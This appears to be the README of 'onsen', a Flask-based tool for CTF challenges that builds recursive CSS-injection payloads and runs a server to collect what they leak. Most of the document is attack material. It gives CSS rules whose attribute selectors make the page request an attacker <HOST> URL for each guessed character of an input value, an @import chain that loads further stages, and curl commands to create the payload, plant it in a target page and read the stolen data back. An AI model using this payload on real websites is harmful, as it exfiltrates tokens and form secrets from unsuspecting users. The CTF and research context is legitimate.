ONdemand csS injEctioN tool

The service tool for CSS injection with recursive import. It will be useful for CTF.

This tool provides the following CSS injection payload, and server to listen for leaked data.

@import "http://<HOST>/<key>/<index>/stage2.css";

input[value^="xa"]:first-child {
    background: url("http://<HOST>/<key>/leak/xa");
}
input[value^="xb"]:first-child {
    background: url("http://<HOST>/<key>/leak/xb");
}
input[value^="xc"]:first-child {
    background: url("http://<HOST>/<key>/leak/xc");
}
...

CSS has a load priority and will not work as expected if you use import recursive normally. I solved it with the pseudo-class "first-child" chain.
Reference: https://developer.mozilla.org/docs/Web/CSS/Specificity
Slide: A New Era of CSS Injection

Dependency

• Python 3.x
• Flask 1.0.3

Usage

Deploy

$ pip install -r requirements.txt

Startup service

$ python3 onsen.py

When the service starts, api_secret is output on the console.

Make payload

$ curl -d 'c=<USAGE CHARS|default:A-Za-z0-9>&s=<TARGET CSS SELECTOR|default:input[value^="{leaked}"]>&key=<KEY|default:urandom(16).hex()>' http://<HOST>/<api_secret>/set

{leaked} is replaced by the characters set by c param.

e.g.)

$ curl -d 's=input[value^="{leaked}"]#secret' http://<HOST>/<api_secret>/set

Output

{
    "key": "<key>",
    "payload": "<style>@import'http://<HOST>/<key>/stage1.css'</style>"
}

Set the payload to the target page.

Check leaked

$ curl http://<HOST>/<api_secret>/get/<key>

Output

{
    "run": true|false,
    "leaked": "<LEAKED DATA>"
}

Demo

Debug

$ FLASK_DEBUG=1 python3 onsen.py

Warning: If you enable debug, you can access the page that the XSS vulnerability exists.

More information

onsen.py

Disclaimer

Don't use on real world websites.